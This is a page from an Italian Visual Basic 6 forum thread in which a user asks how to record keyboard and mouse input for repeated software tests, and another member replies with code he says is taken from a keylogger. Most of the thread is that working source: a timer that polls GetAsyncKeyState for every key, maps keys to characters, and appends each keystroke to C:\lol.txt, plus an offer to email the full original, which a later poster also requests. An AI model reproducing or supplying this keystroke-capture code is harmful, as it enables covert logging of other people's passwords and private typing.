Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Visual Basic 6 - Registrare Input
Forum - Visual Basic 6 - Registrare Input

Pagine: [ 1 2 3 ] Precedente | Prossimo
Avatar
amanu86 (Normal User)
Newbie


Messaggi: 5
Iscritto: 05/12/2006

Segnala al moderatore
Postato alle 16:24
Martedì, 05/12/2006
Questo topic è stato chiuso dal moderatore

Ciao a tutti.

Vorrei sapere se esistono delle funzioni in VB che restituiscano gli input dell'utente.
Avrei bisogno di fare un programmino che mi permetta di memorizzare dove l'utente clicca con il mouse e quello che digita sulla tastiera. E' possibile fare qualcosa del genere in vb?
Questo mi serve per registrare dei test che devo eseguire su diversi programmi più volte

Grazie!!!
P.s. non sto cercando di creare un keylogger
__________________
---------------------------------------------------------------------------
www.festadeigiovani.tk :k:

PM
Avatar
Anonymous (Member)
Guru


Messaggi: 1059
Iscritto: 30/07/2006

Segnala al moderatore
Postato alle 18:52
Martedì, 05/12/2006

P.s. non sto cercando di creare un keylogger................ne sei proprio sicuro?

cmq per quanto ne so servono le Api...

Ultima modifica effettuata da Anonymous il 05/12/2006 alle 18:57
PM
Avatar
amanu86 (Normal User)
Newbie


Messaggi: 5
Iscritto: 05/12/2006

Segnala al moderatore
Postato alle 9:18
Mercoledì, 06/12/2006
Si ne sono sicuro, non voglio creare un keylogger ma un programma che mi permetta di registrare gli input e poi ripetere le operazioni registrate più volte.Questo mi serve perchè sto creando un programma  per fare dei stress test su altri programmi.

PM
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 21:17
Mercoledì, 06/12/2006
questa è estrapolato un keylogger.legge la tastiera.

Se ne hai bisogno ti consiglio ti usare l'originale. chiedimelo e ti mando tutto via e-mail

il codice non è mio ma è estremamente semplice e utile per registrare i tasti. rileva anche le maiuscole e gli shift grazie a un modulo.
nel form:
Codice sorgente - presumibilmente VB.NET

  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  2. Private Sub Timer1_Timer()
  3. Dim FoundKeys As String
  4.  
  5. On Error Resume Next
  6.  
  7.     Dim AddKey
  8.    
  9.     KeyResult = GetAsyncKeyState(13)
  10.     If KeyResult = -32767 Then
  11.         AddKey = vbCrLf
  12.         GoTo KeyFound
  13.     End If
  14.     KeyResult = GetAsyncKeyState(8)
  15.     If KeyResult = -32767 Then
  16.         l = Len(Text1.Text)
  17.         AddKey = "[Backspace]"
  18.         GoTo KeyFound
  19.     End If
  20.    
  21.      
  22.    
  23. '------------FUNCTION KEYS
  24. '------------SPECIAL KEYS
  25.  
  26. KeyResult = GetAsyncKeyState(32)
  27.     If KeyResult = -32767 Then
  28.         AddKey = " "
  29.         GoTo KeyFound
  30.     End If
  31.    
  32. KeyResult = GetAsyncKeyState(186)
  33.     If KeyResult = -32767 Then
  34.         If GetShift = False Then AddKey = "è" Else AddKey = "é"
  35.         GoTo KeyFound
  36.     End If
  37.  
  38. KeyResult = GetAsyncKeyState(187)
  39.     If KeyResult = -32767 Then
  40.         If GetShift = False Then AddKey = "+" Else AddKey = "*"
  41.         GoTo KeyFound
  42.     End If
  43.  
  44. KeyResult = GetAsyncKeyState(188)
  45.     If KeyResult = -32767 Then
  46.         If GetShift = False Then AddKey = "," Else AddKey = ";"
  47.        GoTo KeyFound
  48.     End If
  49.    
  50. KeyResult = GetAsyncKeyState(189)
  51.     If KeyResult = -32767 Then
  52.         If GetShift = False Then AddKey = "-" Else AddKey = "_"
  53.         GoTo KeyFound
  54.     End If
  55.  
  56. KeyResult = GetAsyncKeyState(190)
  57.     If KeyResult = -32767 Then
  58.         If GetShift = False Then AddKey = "." Else AddKey = ":"
  59.         GoTo KeyFound
  60.     End If
  61.  
  62. KeyResult = GetAsyncKeyState(191)
  63.     If KeyResult = -32767 Then
  64.         If GetShift = False Then AddKey = "ù" Else AddKey = "§"   '/
  65.         GoTo KeyFound
  66.     End If
  67.  
  68. KeyResult = GetAsyncKeyState(192)
  69.     If KeyResult = -32767 Then
  70.         If GetShift = False Then AddKey = "ò" Else AddKey = "ç"       '`
  71.         GoTo KeyFound
  72.     End If
  73.      
  74.  
  75.  
  76. '----------NUM PAD
  77. KeyResult = GetAsyncKeyState(96)
  78.     If KeyResult = -32767 Then
  79.         If GetShift = False Then AddKey = "0" Else AddKey = "="
  80.         GoTo KeyFound
  81.     End If
  82.  
  83. KeyResult = GetAsyncKeyState(97)
  84.     If KeyResult = -32767 Then
  85.         If GetShift = False Then AddKey = "1" Else AddKey = "!"
  86.         GoTo KeyFound
  87.     End If
  88.      
  89.  
  90. KeyResult = GetAsyncKeyState(98)
  91.     If KeyResult = -32767 Then
  92.         If GetShift = False Then AddKey = "2" Else AddKey = Chr(34)
  93.         GoTo KeyFound
  94.     End If
  95.  
  96. KeyResult = GetAsyncKeyState(99)
  97.     If KeyResult = -32767 Then
  98.         If GetShift = False Then AddKey = "3" Else AddKey = "£"
  99.         GoTo KeyFound
  100.     End If
  101.    
  102.    
  103. KeyResult = GetAsyncKeyState(100)
  104.     If KeyResult = -32767 Then
  105.         If GetShift = False Then AddKey = "4" Else AddKey = "$"
  106.         GoTo KeyFound
  107.     End If
  108.  
  109. KeyResult = GetAsyncKeyState(101)
  110.     If KeyResult = -32767 Then
  111.         If GetShift = False Then AddKey = "5" Else AddKey = "%"
  112.         GoTo KeyFound
  113.     End If
  114.    
  115.    
  116. KeyResult = GetAsyncKeyState(102)
  117.     If KeyResult = -32767 Then
  118.         If GetShift = False Then AddKey = "6" Else AddKey = "&"
  119.         GoTo KeyFound
  120.     End If
  121.  
  122. KeyResult = GetAsyncKeyState(103)
  123.     If KeyResult = -32767 Then
  124.         If GetShift = False Then AddKey = "7" Else AddKey = "/"
  125.         GoTo KeyFound
  126.     End If
  127.    
  128.    
  129. KeyResult = GetAsyncKeyState(104)
  130.     If KeyResult = -32767 Then
  131.         If GetShift = False Then AddKey = "8" Else AddKey = "("
  132.         GoTo KeyFound
  133.     End If
  134.  
  135. KeyResult = GetAsyncKeyState(105)
  136.     If KeyResult = -32767 Then
  137.         If GetShift = False Then AddKey = "9" Else AddKey = ")"
  138.         GoTo KeyFound
  139.     End If
  140.        
  141.    
  142. KeyResult = GetAsyncKeyState(106)
  143.     If KeyResult = -32767 Then
  144.         If GetShift = False Then AddKey = "'*" Else AddKey = ""
  145.         GoTo KeyFound
  146.     End If
  147.  
  148. KeyResult = GetAsyncKeyState(107)
  149.     If KeyResult = -32767 Then
  150.         If GetShift = False Then AddKey = "+" Else AddKey = "+"
  151.         GoTo KeyFound
  152.     End If
  153.    
  154. KeyResult = GetAsyncKeyState(108)
  155.     If KeyResult = -32767 Then
  156.         AddKey = ""
  157.         If GetShift = False Then Text1.Text = Text1.Text & vbCrLf
  158.         GoTo KeyFound
  159.     End If
  160.  
  161. KeyResult = GetAsyncKeyState(109)
  162.     If KeyResult = -32767 Then
  163.         If GetShift = False Then AddKey = "-" Else AddKey = "_"
  164.         GoTo KeyFound
  165.     End If
  166.    
  167. KeyResult = GetAsyncKeyState(110)
  168.     If KeyResult = -32767 Then
  169.         If GetShift = False Then AddKey = "." Else AddKey = ""
  170.         GoTo KeyFound
  171.     End If
  172.  
  173. KeyResult = GetAsyncKeyState(2)
  174.     If KeyResult = -32767 Then
  175.         If GetShift = False Then AddKey = "/" Else AddKey = "/"
  176.         GoTo KeyFound
  177.     End If
  178.  
  179. KeyResult = GetAsyncKeyState(220)
  180.     If KeyResult = -32767 Then
  181.         If GetShift = False Then AddKey = "\" Else AddKey = "|"
  182.         GoTo KeyFound
  183.     End If
  184.  
  185. KeyResult = GetAsyncKeyState(222)
  186.     If KeyResult = -32767 Then
  187.         If GetShift = False Then AddKey = "à" Else AddKey = °
  188.         GoTo KeyFound
  189.     End If
  190.  
  191. KeyResult = GetAsyncKeyState(221)
  192.     If KeyResult = -32767 Then
  193.         If GetShift = False Then AddKey = "ì" Else AddKey = "^"
  194.        
  195.        
  196.         GoTo KeyFound
  197.     End If
  198.    
  199. KeyResult = GetAsyncKeyState(219) '219
  200.     If KeyResult = -32767 Then
  201.         If GetShift = False Then AddKey = "[" Else AddKey = "{"
  202.         GoTo KeyFound
  203.     End If
  204.  
  205.  
  206.  
  207. For n = 65 To 128
  208.     KeyResult = GetAsyncKeyState(n)
  209.     If KeyResult = -32767 Then
  210.         If GetShift = False Then
  211.             If GetCapslock = True Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
  212.         Else
  213.             If GetCapslock = False Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
  214.         End If
  215.         GoTo KeyFound
  216.     End If
  217. Next n
  218.  
  219.  
  220. For n = 48 To 57
  221.     KeyResult = GetAsyncKeyState(n)
  222.     If KeyResult = -32767 Then
  223.         If GetShift = True Then
  224.             Select Case Val(Chr(n))
  225.                 Case 1
  226.                     AddKey = "!"
  227.                 Case 2
  228.                     AddKey = Chr(34)
  229.                 Case 3
  230.                     AddKey = "£"
  231.                 Case 4
  232.                     AddKey = "$"
  233.                 Case 5
  234.                     AddKey = "%"
  235.                 Case 6
  236.                     AddKey = "&"
  237.                 Case 7
  238.                     AddKey = "/"
  239.                 Case 8
  240.                     AddKey = "("
  241.                 Case 9
  242.                     AddKey = ")"
  243.                 Case 0
  244.                     AddKey = "="
  245.             End Select
  246.         Else
  247.             AddKey = Chr(n)
  248.         End If
  249.         GoTo KeyFound
  250.     End If
  251. Next n
  252. DoEvents
  253. Exit Sub
  254.  
  255. KeyFound:
  256. If AddKey <> "" Then List1.AddItem AddKey
  257. Open "C:\lol.txt" For Append As #1
  258. Print #1, AddKey
  259. Close #1
  260. DoEvents
  261. End Sub



nel modulo:
Codice sorgente - presumibilmente VB.NET

  1. Global LastKey As String
  2. Global timeout As Byte
  3. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  4.  
  5. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  6.  
  7.  
  8. Public Function GetCapslock() As Boolean
  9. ' Return or set the Capslock toggle.
  10.  
  11. GetCapslock = CBool(GetKeyState(vbKeyCapital) And 1)
  12.  
  13. End Function
  14.  
  15. Public Function GetShift() As Boolean
  16.  
  17. ' Return or set the Capslock toggle.
  18.  
  19. GetShift = CBool(GetAsyncKeyState(vbKeyShift))
  20.  
  21. End Function



Ps:non mi ricordo se è impostato sulla tastiera italiana o inglese. fai una prova tu.
PPs:ti scrive tutto oltre che in lol.txt anche in una listbox.

Ultima modifica effettuata da il 06/12/2006 alle 21:31
PM
Avatar
amanu86 (Normal User)
Newbie


Messaggi: 5
Iscritto: 05/12/2006

Segnala al moderatore
Postato alle 11:32
Giovedì, 07/12/2006
Ciao,grazie mille.mandami tutto vie e-mail

-----------------------------------------------------
www.festadeigiovani.tk:k:

Ultima modifica effettuata da amanu86 il 07/12/2006 alle 11:33
PM
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 22:50
Venerdì, 08/12/2006
inviato.

PM
Avatar
amanu86 (Normal User)
Newbie


Messaggi: 5
Iscritto: 05/12/2006

Segnala al moderatore
Postato alle 17:55
Martedì, 12/12/2006
Ciao non mi è arrivato niente...






------------------------------------------------------
www.festadeigiovani.tk:k:8-)

PM
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 21:04
Mercoledì, 13/12/2006
scusa ho scordato l'acca finale nel mittente.
ora te l'ho spedita veramente

PM
Avatar
FallChallenge (Normal User)
Newbie


Messaggi: 4
Iscritto: 15/07/2007

Segnala al moderatore
Postato alle 13:08
Venerdì, 26/10/2007
Ciao, puoi spedire anche a me? 8-|
fallchallenge[at]rapiditaliashare[dot]com

[at] = @
[dot] = .

grazie :k:

PM
Pagine: [ 1 2 3 ] Precedente | Prossimo